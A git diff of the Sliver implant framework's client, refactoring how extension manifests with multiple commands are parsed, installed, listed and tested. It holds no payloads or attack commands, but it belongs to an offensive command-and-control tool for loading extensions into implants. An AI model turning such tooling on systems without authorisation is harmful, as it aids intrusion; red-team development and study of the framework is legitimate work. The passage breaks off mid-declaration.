a/client/command/armory/armory.go +++ b/client/command/armory/armory.go @@ -90,7 +90,7 @@ type pkgCacheEntry struct { Pkg ArmoryPackage Sig minisign.Signature Alias *alias.AliasManifest - Extension extensions.MultiManifest + Extension *extensions.ExtensionManifest LastErr error } @@ -144,7 +144,7 @@ func ArmoryCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { if cacheEntry.Pkg.IsAlias { aliases = append(aliases, cacheEntry.Alias) } else { - exts = append(exts, cacheEntry.Extension...) + exts = append(exts, cacheEntry.Extension) // todo: check this isn't a bug } } return true @@ -192,7 +192,7 @@ func packagesInCache() ([]*alias.AliasManifest, []*extensions.ExtensionManifest) if cacheEntry.Pkg.IsAlias { aliases = append(aliases, cacheEntry.Alias) } else { - exts = append(exts, cacheEntry.Extension...) + exts = append(exts, cacheEntry.Extension) // todo: check this isn't a bug } } return true @@ -210,7 +210,7 @@ func bundlesInCache() []*ArmoryBundle { return bundles } -// PrintArmoryPackages - Prints the armory packages. +// PrintArmoryPackages - Prints the armory packages func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.ExtensionManifest, con *console.SliverClient) { width, _, err := term.GetSize(0) if err != nil { @@ -263,14 +263,16 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte URL: aliasPkg.RepoURL, }) } - for _, extension := range exts { - entries = append(entries, pkgInfo{ - CommandName: extension.CommandName, - Version: extension.Version, - Type: "Extension", - Help: extension.Help, - URL: extension.RepoURL, - }) + for _, extm := range exts { + for _, extension := range extm.ExtCommand { + entries = append(entries, pkgInfo{ + CommandName: extension.CommandName, + Version: extension.Manifest.Version, + Type: "Extension", + Help: extension.Help, + URL: extension.Manifest.RepoURL, + }) + } } sliverMenu := con.App.Menu("implant") @@ -506,7 +508,7 @@ func fetchPackageSignature(wg *sync.WaitGroup, armoryConfig *assets.ArmoryConfig if armoryPkg.IsAlias { pkgCacheEntry.Alias, err = alias.ParseAliasManifest(manifestData) } else { - pkgCacheEntry.Extension, err = extensions.ParseMultiManifest(manifestData) + pkgCacheEntry.Extension, err = extensions.ParseExtensionManifest(manifestData) } if err != nil { pkgCacheEntry.LastErr = fmt.Errorf("failed to parse trusted manifest in pkg signature: %s", err) diff --git a/client/command/armory/completion.go b/client/command/armory/completion.go index 3097698cdc..f0cc370a82 100644 --- a/client/command/armory/completion.go +++ b/client/command/armory/completion.go @@ -63,6 +63,7 @@ func AliasExtensionOrBundleCompleter() carapace.Action { } } + // Aliases for _, aliasPkg := range aliases { results = append(results, aliasPkg.CommandName) results = append(results, aliasPkg.Help) @@ -70,13 +71,17 @@ func AliasExtensionOrBundleCompleter() carapace.Action { aliasesComps := carapace.ActionValuesDescribed(results...).Tag("aliases").Invoke(ctx) results = make([]string, 0) + // Extensions for _, extensionPkg := range exts { - results = append(results, extensionPkg.CommandName) - results = append(results, extensionPkg.Help) + for _, cmd := range extensionPkg.ExtCommand { + results = append(results, cmd.CommandName) + results = append(results, cmd.Help) + } } extentionComps := carapace.ActionValuesDescribed(results...).Tag("extensions").Invoke(ctx) results = make([]string, 0) + // Bundles for _, bundle := range bundles { results = append(results, bundle.Name) } diff --git a/client/command/armory/install.go b/client/command/armory/install.go index 05e3f30ece..eef8cc056f 100644 --- a/client/command/armory/install.go +++ b/client/command/armory/install.go @@ -96,11 +96,13 @@ func installPackageByName(name string, clientConfig ArmoryHTTPConfig, con *conso } } } - for _, ext := range extensions { - if ext.CommandName == name || name == "all" { - installExtension(ext, clientConfig, con) - if name != "all" { - return nil + for _, extm := range extensions { + for _, ext := range extm.ExtCommand { + if ext.CommandName == name || name == "all" { + installExtension(ext.Manifest, clientConfig, con) + if name != "all" { + return nil + } } } } @@ -186,25 +188,27 @@ func installAliasPackageByName(name string, clientConfig ArmoryHTTPConfig, con * return nil } -func installExtension(ext *extensions.ExtensionManifest, clientConfig ArmoryHTTPConfig, con *console.SliverClient) { +func installExtension(extm *extensions.ExtensionManifest, clientConfig ArmoryHTTPConfig, con *console.SliverClient) { deps := make(map[string]struct{}) - resolveExtensionPackageDependencies(ext.CommandName, deps, clientConfig, con) - sliverMenu := con.App.Menu(constants.ImplantMenu) - for dep := range deps { - if extensions.CmdExists(dep, sliverMenu.Command) { - continue // Dependency is already installed + for _, ext := range extm.ExtCommand { + resolveExtensionPackageDependencies(ext.CommandName, deps, clientConfig, con) + sliverMenu := con.App.Menu(constants.ImplantMenu) + for dep := range deps { + if extensions.CmdExists(dep, sliverMenu.Command) { + continue // Dependency is already installed + } + err := installExtensionPackageByName(dep, clientConfig, con) + if err != nil { + con.PrintErrorf("Failed to install extension dependency '%s': %s", dep, err) + return + } } - err := installExtensionPackageByName(dep, clientConfig, con) + err := installExtensionPackageByName(ext.CommandName, clientConfig, con) if err != nil { - con.PrintErrorf("Failed to install extension dependency '%s': %s", dep, err) + con.PrintErrorf("Failed to install extension '%s': %s", ext.CommandName, err) return } } - err := installExtensionPackageByName(ext.CommandName, clientConfig, con) - if err != nil { - con.PrintErrorf("Failed to install extension '%s': %s", ext.CommandName, err) - return - } } const maxDepDepth = 10 // Arbitrary recursive limit for dependencies @@ -222,7 +226,7 @@ func resolveExtensionPackageDependencies(name string, deps map[string]struct{}, if entry == nil { return } - for _, multiExt := range entry.Extension { + for _, multiExt := range entry.Extension.ExtCommand { if multiExt.DependsOn == "" { continue // Avoid adding empty dependency } @@ -298,22 +302,7 @@ func installExtensionPackageByName(name string, clientConfig ArmoryHTTPConfig, c con.Printf(console.Clearln + "\r") // Clear download message - installPath := extensions.InstallFromFilePath(tmpFile.Name(), true, con) - if installPath == nil { - return errors.New("failed to install extension") - } - manyfest, err := extensions.LoadExtensionManifest(filepath.Join(*installPath, extensions.ManifestFileName)) - if err != nil { - return err - } + extensions.InstallFromDir(tmpFile.Name(), con, true) - sliverMenu := con.App.Menu(constants.ImplantMenu) - // - // if extensions.CmdExists(extCmd.Name, sliverMenu.Command) { - // con.App.Commands().Remove(extCmd.Name) - // } - for _, extCmd := range manyfest { - extensions.ExtensionRegisterCommand(extCmd, sliverMenu.Command, con) - } return nil } diff --git a/client/command/armory/search.go b/client/command/armory/search.go index ce3fd743f7..5d8561ecbf 100644 --- a/client/command/armory/search.go +++ b/client/command/armory/search.go @@ -55,9 +55,11 @@ func ArmorySearchCmd(cmd *cobra.Command, con *console.SliverClient, args []strin } } matchedExts := []*extensions.ExtensionManifest{} - for _, ext := range exts { - if nameExpr.MatchString(ext.CommandName) { - matchedExts = append(matchedExts, ext) + for _, extm := range exts { + for _, ext := range extm.ExtCommand { + if nameExpr.MatchString(ext.CommandName) { + matchedExts = append(matchedExts, extm) + } } } if len(matchedAliases) == 0 && len(matchedExts) == 0 { diff --git a/client/command/armory/update.go b/client/command/armory/update.go index d2e9864b0b..ea8e7a87a1 100644 --- a/client/command/armory/update.go +++ b/client/command/armory/update.go @@ -97,19 +97,18 @@ func checkForExtensionUpdates(clientConfig ArmoryHTTPConfig, con *console.Sliver if err != nil { continue } - manyfest, err := extensions.ParseMultiManifest(data) + localManifest, err := extensions.ParseExtensionManifest(data) if err != nil { continue } - for _, localManifest := range manyfest { - for _, latestExt := range cachedExtensions { - // Right now we don't try to enforce any kind of versioning, it is assumed if the version from - // the armory differs at all from the local version, the extension is out of date. - if latestExt.CommandName == localManifest.CommandName && latestExt.Version != localManifest.Version { - results = append(results, localManifest.CommandName) - } + for _, latestExt := range cachedExtensions { + // Right now we don't try to enforce any kind of versioning, it is assumed if the version from + // the armory differs at all from the local version, the extension is out of date. + if latestExt.Name == localManifest.Name && latestExt.Version != localManifest.Version { + results = append(results, localManifest.Name) } } } + return results } diff --git a/client/command/extensions/extensions.go b/client/command/extensions/extensions.go index 58403abb35..7dab6cba6c 100644 --- a/client/command/extensions/extensions.go +++ b/client/command/extensions/extensions.go @@ -67,25 +67,27 @@ func PrintExtensions(con *console.SliverClient) { installedManifests := getInstalledManifests() for _, extension := range loadedExtensions { + //for _, extension := range extensionm.ExtCommand { installed := "" - if _, ok := installedManifests[extension.CommandName]; ok { + if _, ok := installedManifests[extension.Manifest.Name]; ok { installed = "✅" } tw.AppendRow(table.Row{ - extension.Name, + extension.Manifest.Name, extension.CommandName, strings.Join(extensionPlatforms(extension), ",\n"), - extension.Version, + extension.Manifest.Version, installed, - extension.ExtensionAuthor, - extension.OriginalAuthor, - extension.RepoURL, + extension.Manifest.ExtensionAuthor, + extension.Manifest.OriginalAuthor, + extension.Manifest.RepoURL, }) + //} } con.Println(tw.Render()) } -func extensionPlatforms(extension *ExtensionManifest) []string { +func extensionPlatforms(extension *ExtCommand) []string { platforms := map[string]string{} for _, entry := range extension.Files { platforms[fmt.Sprintf("%s/%s", entry.OS, entry.Arch)] = "" @@ -110,7 +112,7 @@ func getInstalledManifests() map[string]*ExtensionManifest { if err != nil { continue } - installedManifests[manifest.CommandName] = manifest + installedManifests[manifest.Name] = manifest } return installedManifests } @@ -118,9 +120,9 @@ func getInstalledManifests() map[string]*ExtensionManifest { // ExtensionsCommandNameCompleter - Completer for installed extensions command names. func ExtensionsCommandNameCompleter(con *console.SliverClient) carapace.Action { return carapace.ActionCallback(func(c carapace.Context) carapace.Action { - installedManifests := getInstalledManifests() + //installedManifests := getInstalledManifests() results := []string{} - for _, manifest := range installedManifests { + for _, manifest := range loadedExtensions { results = append(results, manifest.CommandName) results = append(results, manifest.Help) } diff --git a/client/command/extensions/extensions_test.go b/client/command/extensions/extensions_test.go index 2ab60bac7f..43be1fc3d5 100644 --- a/client/command/extensions/extensions_test.go +++ b/client/command/extensions/extensions_test.go @@ -1,5 +1,10 @@ package extensions +import ( + "encoding/json" + "testing" +) + /* Sliver Implant Framework Copyright (C) 2021 Bishop Fox @@ -18,26 +23,25 @@ package extensions along with this program. If not, see . */ -import ( - "encoding/json" - "testing" -) - const ( sample1 = `{ "name": "test1", - "command_name": "test1", "version": "1.0.0", "extension_author": "test", "original_author": "test", "repo_url": "https://example.com/", - "help": "some help", - "files": [ - { - "os": "windows", - "arch": "amd64", - "path": "foo/test1.dll" - } + "commands":[ + { + "command_name": "test1", + "help": "some help", + "files": [ + { + "os": "windows", + "arch": "amd64", + "path": "foo/test1.dll" + } + ] + } ] }` @@ -55,118 +59,110 @@ const ( }` sample3 = `{ "name": "test3", - "command_name": "test3", "version": "1.0.0", "extension_author": "test", "original_author": "test", "repo_url": "https://example.com/", - "help": "some help", - "files": [ + "commands": [ { - "os": "windows", - "arch": "amd64", - "path": "foo/test1.dll" + "command_name": "test3", + "help": "some help", + "files": [ + { + "os": "windows", + "arch": "amd64", + "path": "foo/test1.dll" + } + ] } ] }` - sample4 = `[{ - "name": "testmultisingle", - "command_name": "testmultisingle", - "version": "1.0.0", - "extension_author": "test", - "original_author": "test", - "repo_url": "https://example.com/", - "help": "some help", - "files": [ - { - "os": "windows", - "arch": "amd64", - "path": "foo/test1.dll" - } - ] - }]` - sample5 = `[{ - "name": "testmulti", - "command_name": "testmulti", - "version": "1.0.0", - "extension_author": "test", - "original_author": "test", - "repo_url": "https://example.com/", - "help": "some help", - "files": [ + + multicmd = `{ + "name": "example-multientry", + "version": "0.0.0", + "extension_author": "cs", + "original_author": "cs", + "repo_url": "no", + "commands": [ { - "os": "windows", - "arch": "amd64", - "path": "foo/test1.dll" - } - ] - },{ - "name": "testmulti2", - "command_name": "testmulti2", - "version": "1.0.0", - "extension_author": "test", - "original_author": "test", - "repo_url": "https://example.com/", - "help": "some help", - "files": [ + "command_name": "startw", + "help": "startw", + "entrypoint": "StartW", + "files": [ + { + "os": "windows", + "arch": "amd64", + "path": "ex.dll" + } + ] + }, { - "os": "windows", - "arch": "amd64", - "path": "foo/test1.dll" + "command_name": "Test2", + "help": "startw", + "entrypoint": "Test2", + "files": [ + { + "os": "windows", + "arch": "amd64", + "path": "ex.dll" + } + ] } ] - }]` + }` ) func TestParseExtensionManifest(t *testing.T) { - mextManifest, err := ParseMultiManifest([]byte(sample1)) - for _, extManifest := range mextManifest { //should only be a single manfiest here, so should pass - if err != nil { - t.Fatalf("Error parsing extension manifest: %s", err) - } - if extManifest.Name != "test1" { - t.Errorf("Expected extension name 'test1', got '%s'", extManifest.Name) - } - if extManifest.CommandName != "test1" { - t.Errorf("Expected extension command name 'test1', got '%s'", extManifest.CommandName) - } - if extManifest.Version != "1.0.0" { - t.Errorf("Expected extension version '1.0.0', got '%s'", extManifest.Version) - } - if extManifest.ExtensionAuthor != "test" { - t.Errorf("Expected extension author 'test', got '%s'", extManifest.ExtensionAuthor) - } - if extManifest.OriginalAuthor != "test" { - t.Errorf("Expected original author 'test', got '%s'", extManifest.OriginalAuthor) - } - if extManifest.RepoURL != "https://example.com/" { - t.Errorf("Expected repo URL 'https://example.com/', got '%s'", extManifest.RepoURL) + extManifest, err := ParseExtensionManifest([]byte(sample1)) + if err != nil { + t.Fatalf("Error parsing extension manifest: %s", err) + } + if extManifest.Name != "test1" { + t.Errorf("Expected extension name 'test1', got '%s'", extManifest.Name) + } + + if extManifest.Version != "1.0.0" { + t.Errorf("Expected extension version '1.0.0', got '%s'", extManifest.Version) + } + if extManifest.ExtensionAuthor != "test" { + t.Errorf("Expected extension author 'test', got '%s'", extManifest.ExtensionAuthor) + } + if extManifest.OriginalAuthor != "test" { + t.Errorf("Expected original author 'test', got '%s'", extManifest.OriginalAuthor) + } + if extManifest.RepoURL != "https://example.com/" { + t.Errorf("Expected repo URL 'https://example.com/', got '%s'", extManifest.RepoURL) + } + for _, extCmd := range extManifest.ExtCommand { //should only be a single manfiest here, so should pass + if extCmd.CommandName != "test1" { + t.Errorf("Expected extension command name 'test1', got '%s'", extCmd.CommandName) } - if extManifest.Help != "some help" { - t.Errorf("Expected help 'some help', got '%s'", extManifest.Help) + if extCmd.Help != "some help" { + t.Errorf("Expected help 'some help', got '%s'", extCmd.Help) } - if len(extManifest.Files) != 1 { - t.Errorf("Expected 1 file, got %d", len(extManifest.Files)) + if len(extCmd.Files) != 1 { + t.Errorf("Expected 1 file, got %d", len(extCmd.Files)) } - if extManifest.Files[0].OS != "windows" { - t.Errorf("Expected OS 'windows', got '%s'", extManifest.Files[0].OS) + if extCmd.Files[0].OS != "windows" { + t.Errorf("Expected OS 'windows', got '%s'", extCmd.Files[0].OS) } - if extManifest.Files[0].Arch != "amd64" { - t.Errorf("Expected Arch 'amd64', got '%s'", extManifest.Files[0].Arch) + if extCmd.Files[0].Arch != "amd64" { + t.Errorf("Expected Arch 'amd64', got '%s'", extCmd.Files[0].Arch) } - if extManifest.Files[0].Path != "/foo/test1.dll" { - t.Errorf("Expected path '/foo/test1.dll', got '%s'", extManifest.Files[0].Path) + if extCmd.Files[0].Path != "/foo/test1.dll" { + t.Errorf("Expected path '/foo/test1.dll', got '%s'", extCmd.Files[0].Path) } } - mextManifest2, err := ParseMultiManifest([]byte(sample2)) //should only be a single manfiest here, so should pass - for _, extManifest2 := range mextManifest2 { - if err != nil { - t.Fatalf("Error parsing extension manifest (2): %s", err) - } - if extManifest2.Name != "test2" { - t.Errorf("Expected extension name 'test2', got '%s'", extManifest2.Name) - } + mextManifest2, err := ParseExtensionManifest([]byte(sample2)) //checking old manifests work good too + if err != nil { + t.Fatalf("Error parsing extension manifest (2): %s", err) + } + if mextManifest2.Name != "test2" { + t.Errorf("Expected extension name 'test2', got '%s'", mextManifest2.Name) + } + for _, extManifest2 := range mextManifest2.ExtCommand { if extManifest2.CommandName != "test2" { t.Errorf("Expected extension command name 'test2', got '%s'", extManifest2.CommandName) } @@ -186,92 +182,41 @@ func TestParseExtensionManifest(t *testing.T) { t.Errorf("Expected path '/foo/test1.dll', got '%s'", extManifest2.Files[0].Path) } } + } -func TestParseMultipleManifests(t *testing.T) { - mextManifest, err := ParseMultiManifest([]byte(sample4)) //single manifest in a slice - for _, extManifest := range mextManifest { - if err != nil { - t.Fatalf("Error parsing extension manifest: %s", err) - } - if extManifest.Name != "testmultisingle" { - t.Errorf("Expected extension name 'testmultisingle', got '%s'", extManifest.Name) - } - if extManifest.CommandName != "testmultisingle" { - t.Errorf("Expected extension command name 'testmultisingle', got '%s'", extManifest.CommandName) - } - if extManifest.Version != "1.0.0" { - t.Errorf("Expected extension version '1.0.0', got '%s'", extManifest.Version) - } - if extManifest.ExtensionAuthor != "test" { - t.Errorf("Expected extension author 'test', got '%s'", extManifest.ExtensionAuthor) - } - if extManifest.OriginalAuthor != "test" { - t.Errorf("Expected original author 'test', got '%s'", extManifest.OriginalAuthor) - } - if extManifest.RepoURL != "https://example.com/" { - t.Errorf("Expected repo URL 'https://example.com/', got '%s'", extManifest.RepoURL) - } - if extManifest.Help != "some help" { - t.Errorf("Expected help 'some help', got '%s'", extManifest.Help) - } - if len(extManifest.Files) != 1 { - t.Errorf("Expected 1 file, got %d", len(extManifest.Files)) - } - if extManifest.Files[0].OS != "windows" { - t.Errorf("Expected OS 'windows', got '%s'", extManifest.Files[0].OS) - } - if extManifest.Files[0].Arch != "amd64" { - t.Errorf("Expected Arch 'amd64', got '%s'", extManifest.Files[0].Arch) - } - if extManifest.Files[0].Path != "/foo/test1.dll" { - t.Errorf("Expected path '/foo/test1.dll', got '%s'", extManifest.Files[0].Path) - } +func TestParseMultipleCmdManifest(t *testing.T) { + mextManifest, err := ParseExtensionManifest([]byte(multicmd)) + if err != nil { + t.Errorf("error parsing manifest: %s", err) + } + if mextManifest.Name != "example-multientry" { + t.Errorf("expected name example-multientry, got %s", mextManifest.Name) } - mextManifest2, err := ParseMultiManifest([]byte(sample5)) //single manifest in a slice - for _, extManifest := range mextManifest2 { - if err != nil { - t.Fatalf("Error parsing extension manifest: %s", err) - } - if extManifest.Name != "testmulti" && extManifest.Name != "testmulti2" { - t.Errorf("Expected extension name 'testmulti or testmulti2', got '%s'", extManifest.Name) - } - if extManifest.CommandName != "testmulti" && extManifest.CommandName != "testmulti2" { - t.Errorf("Expected extension command name 'testmulti or testmulti2', got '%s'", extManifest.CommandName) - } - if extManifest.Version != "1.0.0" { - t.Errorf("Expected extension version '1.0.0', got '%s'", extManifest.Version) - } - if extManifest.ExtensionAuthor != "test" { - t.Errorf("Expected extension author 'test', got '%s'", extManifest.ExtensionAuthor) - } - if extManifest.OriginalAuthor != "test" { - t.Errorf("Expected original author 'test', got '%s'", extManifest.OriginalAuthor) - } - if extManifest.RepoURL != "https://example.com/" { - t.Errorf("Expected repo URL 'https://example.com/', got '%s'", extManifest.RepoURL) - } - if extManifest.Help != "some help" { - t.Errorf("Expected help 'some help', got '%s'", extManifest.Help) - } - if len(extManifest.Files) != 1 { - t.Errorf("Expected 1 file, got %d", len(extManifest.Files)) - } - if extManifest.Files[0].OS != "windows" { - t.Errorf("Expected OS 'windows', got '%s'", extManifest.Files[0].OS) - } - if extManifest.Files[0].Arch != "amd64" { - t.Errorf("Expected Arch 'amd64', got '%s'", extManifest.Files[0].Arch) - } - if extManifest.Files[0].Path != "/foo/test1.dll" { - t.Errorf("Expected path '/foo/test1.dll', got '%s'", extManifest.Files[0].Path) - } + if mextManifest.ExtCommand[0].CommandName != "startw" { + t.Errorf("expected commandname startw, got %s", mextManifest.ExtCommand[0].CommandName) + } + if mextManifest.ExtCommand[1].CommandName != "Test2" { + t.Errorf("expected commandname Test2, got %s", mextManifest.ExtCommand[1].CommandName) + } + if mextManifest.ExtCommand[0].Entrypoint != "StartW" { + t.Errorf("expected entrypoint StartW, got %s", mextManifest.ExtCommand[0].Entrypoint) + } + if mextManifest.ExtCommand[1].Entrypoint != "Test2" { + t.Errorf("expected entrypoint Test2, got %s", mextManifest.ExtCommand[1].Entrypoint) + } + if mextManifest.ExtCommand[0].Files[0].Path != "/ex.dll" { //path cleaning adds a root path here? I am not sure if this should be a bug or not... works fine in prod + t.Errorf("expected path ex.dll, got %s", mextManifest.ExtCommand[0].Files[0].Path) + } + if mextManifest.ExtCommand[1].Files[0].Path != "/ex.dll" { //path cleaning adds a root path here? I am not sure if this should be a bug or not... works fine in prod + t.Errorf("expected path ex.dll, got %s", mextManifest.ExtCommand[0].Files[0].Path) } + //maybe some more? args? } func TestParseExtensionManifestErrors(t *testing.T) { - sample3, err := parseExtensionManifest([]byte(sample3)) + sample3, err := ParseExtensionManifest([]byte(sample3)) if err != nil { t.Fatalf("Failed to parse initial sample3: %s", err) } @@ -279,37 +224,37 @@ func TestParseExtensionManifestErrors(t *testing.T) { missingName := (*sample3) missingName.Name = "" data, _ := json.Marshal(missingName) - _, err = ParseMultiManifest(data) + _, err = ParseExtensionManifest(data) if err == nil { t.Fatalf("Expected missing name error, got none") } missingCmdName := (*sample3) - missingCmdName.CommandName = "" + missingCmdName.ExtCommand[0].CommandName = "" data, _ = json.Marshal(missingCmdName) - _, err = ParseMultiManifest(data) + _, err = ParseExtensionManifest(data) if err == nil { t.Fatalf("Expected missing command name error, got none") } missingHelp := (*sample3) - missingHelp.Help = "" + missingHelp.ExtCommand[0].Help = "" data, _ = json.Marshal(missingHelp) - _, err = ParseMultiManifest(data) + _, err = ParseExtensionManifest(data) if err == nil { t.Fatalf("Expected missing help error, got none") } missingFiles := (*sample3) - missingFiles.Files = []*extensionFile{} + missingFiles.ExtCommand[0].Files = []*extensionFile{} data, _ = json.Marshal(missingFiles) - _, err = ParseMultiManifest(data) + _, err = ParseExtensionManifest(data) if err == nil { t.Fatalf("Expected missing files error, got none") } missingFileOS := (*sample3) - missingFileOS.Files = []*extensionFile{ + missingFileOS.ExtCommand[0].Files = []*extensionFile{ { OS: "", Arch: "amd64", @@ -317,13 +262,13 @@ func TestParseExtensionManifestErrors(t *testing.T) { }, } data, _ = json.Marshal(missingFileOS) - _, err = ParseMultiManifest(data) + _, err = ParseExtensionManifest(data) if err == nil { t.Fatalf("Expected missing files.os error, got none") } missingFileArch := (*sample3) - missingFileArch.Files = []*extensionFile{ + missingFileArch.ExtCommand[0].Files = []*extensionFile{ { OS: "windows", Arch: "", @@ -331,13 +276,13 @@ func TestParseExtensionManifestErrors(t *testing.T) { }, } data, _ = json.Marshal(missingFileArch) - _, err = ParseMultiManifest(data) + _, err = ParseExtensionManifest(data) if err == nil { t.Fatalf("Expected missing files.arch error, got none") } missingFilePath := (*sample3) - missingFilePath.Files = []*extensionFile{ + missingFilePath.ExtCommand[0].Files = []*extensionFile{ { OS: "windows", Arch: "amd64", @@ -345,7 +290,7 @@ func TestParseExtensionManifestErrors(t *testing.T) { }, } data, _ = json.Marshal(missingFilePath) - _, err = ParseMultiManifest(data) + _, err = ParseExtensionManifest(data) if err == nil { t.Fatalf("Expected missing files.path error, got none") } @@ -358,7 +303,7 @@ func TestParseExtensionManifestErrors(t *testing.T) { } for _, invalidPath := range invalidPaths { missingFilePath2 := (*sample3) - missingFilePath2.Files = []*extensionFile{ + missingFilePath2.ExtCommand[0].Files = []*extensionFile{ { OS: "windows", Arch: "amd64", @@ -366,7 +311,7 @@ func TestParseExtensionManifestErrors(t *testing.T) { }, } data, _ = json.Marshal(missingFilePath2) - _, err = ParseMultiManifest(data) + _, err = ParseExtensionManifest(data) if err == nil { t.Fatalf("Expected missing files.path error, got none") } diff --git a/client/command/extensions/install.go b/client/command/extensions/install.go index ad956d3dc6..767c0840b5 100644 --- a/client/command/extensions/install.go +++ b/client/command/extensions/install.go @@ -22,6 +22,7 @@ import ( "fmt" "os" "path/filepath" + "strings" "github.com/AlecAivazis/survey/v2" "github.com/spf13/cobra" @@ -35,130 +36,88 @@ import ( func ExtensionsInstallCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { extLocalPath := args[0] - fi, err := os.Stat(extLocalPath) + _, err := os.Stat(extLocalPath) if os.IsNotExist(err) { con.PrintErrorf("Extension path '%s' does not exist", extLocalPath) return } - if !fi.IsDir() { - InstallFromFilePath(extLocalPath, false, con) - } else { - installFromDir(extLocalPath, con) - } + InstallFromDir(extLocalPath, con, strings.HasSuffix(extLocalPath, ".tar.gz")) } -// Install an extension from a directory. -func installFromDir(extLocalPath string, con *console.SliverClient) { - manifestData, err := os.ReadFile(filepath.Join(extLocalPath, ManifestFileName)) +// Install an extension from a directory +func InstallFromDir(extLocalPath string, con *console.SliverClient, isGz bool) { + var manifestData []byte + var err error + + if isGz { + manifestData, err = util.ReadFileFromTarGz(extLocalPath, fmt.Sprintf("./%s", ManifestFileName)) + } else { + manifestData, err = os.ReadFile(filepath.Join(extLocalPath, ManifestFileName)) + } if err != nil { con.PrintErrorf("Error reading %s: %s", ManifestFileName, err) return } - manyfest, err := ParseMultiManifest(manifestData) + + manifestF, err := ParseExtensionManifest(manifestData) if err != nil { con.PrintErrorf("Error parsing %s: %s", ManifestFileName, err) return } - for _, manifest := range manyfest { - installPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(manifest.CommandName)) - if _, err := os.Stat(installPath); !os.IsNotExist(err) { - con.PrintInfof("Extension '%s' already exists", manifest.CommandName) - confirm := false - prompt := &survey.Confirm{Message: "Overwrite current install?"} - survey.AskOne(prompt, &confirm) - if !confirm { - return - } - forceRemoveAll(installPath) - } - con.PrintInfof("Installing extension '%s' (%s) ... ", manifest.CommandName, manifest.Version) - err = os.MkdirAll(installPath, 0o700) - if err != nil { - con.PrintErrorf("Error creating extension directory: %s\n", err) + // create repo path + minstallPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(manifestF.Name)) + if _, err := os.Stat(minstallPath); !os.IsNotExist(err) { + con.PrintInfof("Extension '%s' already exists", manifestF.Name) + confirm := false + prompt := &survey.Confirm{Message: "Overwrite current install?"} + survey.AskOne(prompt, &confirm) + if !confirm { return } - err = os.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600) - if err != nil { - con.PrintErrorf("Failed to write %s: %s\n", ManifestFileName, err) - forceRemoveAll(installPath) - return - } - - for _, manifestFile := range manifest.Files { - if manifestFile.Path != "" { - src := filepath.Join(extLocalPath, util.ResolvePath(manifestFile.Path)) - dst := filepath.Join(installPath, util.ResolvePath(manifestFile.Path)) - err = os.MkdirAll(filepath.Dir(dst), 0o700) //required for extensions with multiple dirs between the .o file and the manifest - if err != nil { - con.PrintErrorf("\nError creating extension directory: %s\n", err) - forceRemoveAll(installPath) - return - } - err := util.CopyFile(src, dst) - if err != nil { - con.PrintErrorf("Error copying file '%s' -> '%s': %s\n", src, dst, err) - forceRemoveAll(installPath) - return - } - } - } + forceRemoveAll(minstallPath) } -} - -// InstallFromFilePath - Install an extension from a .tar.gz file. -func InstallFromFilePath(extLocalPath string, autoOverwrite bool, con *console.SliverClient) *string { - manifestData, err := util.ReadFileFromTarGz(extLocalPath, fmt.Sprintf("./%s", ManifestFileName)) + con.PrintInfof("Installing extension '%s' (%s) ... \n", manifestF.Name, manifestF.Version) + err = os.MkdirAll(minstallPath, 0o700) if err != nil { - con.PrintErrorf("Failed to read %s from '%s': %s\n", ManifestFileName, extLocalPath, err) - return nil + con.PrintErrorf("Error creating extension directory: %s\n", err) + return } - manyfest, err := ParseMultiManifest(manifestData) + err = os.WriteFile(filepath.Join(minstallPath, ManifestFileName), manifestData, 0o600) if err != nil { - con.PrintErrorf("Failed to parse %s: %s\n", ManifestFileName, err) - return nil + con.PrintErrorf("Failed to write %s: %s\n", ManifestFileName, err) + forceRemoveAll(minstallPath) + return } - for _, manifest := range manyfest { - installPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(manifest.CommandName)) - if _, err := os.Stat(installPath); !os.IsNotExist(err) { - if !autoOverwrite { - con.PrintInfof("Extension '%s' already exists\n", manifest.CommandName) - confirm := false - prompt := &survey.Confirm{Message: "Overwrite current install?"} - survey.AskOne(prompt, &confirm) - if !confirm { - return nil - } - } - forceRemoveAll(installPath) - } - con.PrintInfof("Installing extension '%s' (%s) ... ", manifest.CommandName, manifest.Version) - err = os.MkdirAll(installPath, 0o700) - if err != nil { - con.PrintErrorf("Failed to create extension directory: %s\n", err) - return nil - } - err = os.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600) - if err != nil { - con.PrintErrorf("Failed to write %s: %s\n", ManifestFileName, err) - forceRemoveAll(installPath) - return nil - } + for _, manifest := range manifestF.ExtCommand { + installPath := filepath.Join(minstallPath) for _, manifestFile := range manifest.Files { if manifestFile.Path != "" { - err = installArtifact(extLocalPath, installPath, manifestFile.Path, con) + if isGz { + err = installArtifact(extLocalPath, installPath, manifestFile.Path, con) + } else { + src := filepath.Join(extLocalPath, util.ResolvePath(manifestFile.Path)) + dst := filepath.Join(installPath, util.ResolvePath(manifestFile.Path)) + err = os.MkdirAll(filepath.Dir(dst), 0o700) // required for extensions with multiple dirs between the .o file and the manifest + if err != nil { + con.PrintErrorf("\nError creating extension directory: %s\n", err) + forceRemoveAll(installPath) + return + } + err = util.CopyFile(src, dst) + if err != nil { + err = fmt.Errorf("error copying file '%s' -> '%s': %s\n", src, dst, err) + } + } if err != nil { - con.PrintErrorf("Failed to install file: %s\n", err) + con.PrintErrorf("Error installing command: %s\n", err) forceRemoveAll(installPath) - return nil + return } } } } - con.Printf("done!\n") - first := filepath.Join(assets.GetExtensionsDir(), filepath.Base(manyfest[0].CommandName)) - return &first //this is probably a bad idea - but the only thing that seems to ref this is something that wants all the manifests, and all manifest data is stored in each installed dir, so... } func installArtifact(extGzFilePath string, installPath string, artifactPath string, con *console.SliverClient) error { diff --git a/client/command/extensions/load.go b/client/command/extensions/load.go index f05840d1a4..1c53ff9ebb 100644 --- a/client/command/extensions/load.go +++ b/client/command/extensions/load.go @@ -24,6 +24,7 @@ import ( "encoding/json" "errors" "fmt" + "log" "os" "path" "path/filepath" @@ -54,9 +55,12 @@ const ( ManifestFileName = "extension.json" ) -var loadedExtensions = map[string]*ExtensionManifest{} +var ( + loadedExtensions = map[string]*ExtCommand{} + loadedManifests = map[string]*ExtensionManifest{} +) -type ExtensionManifest struct { +type 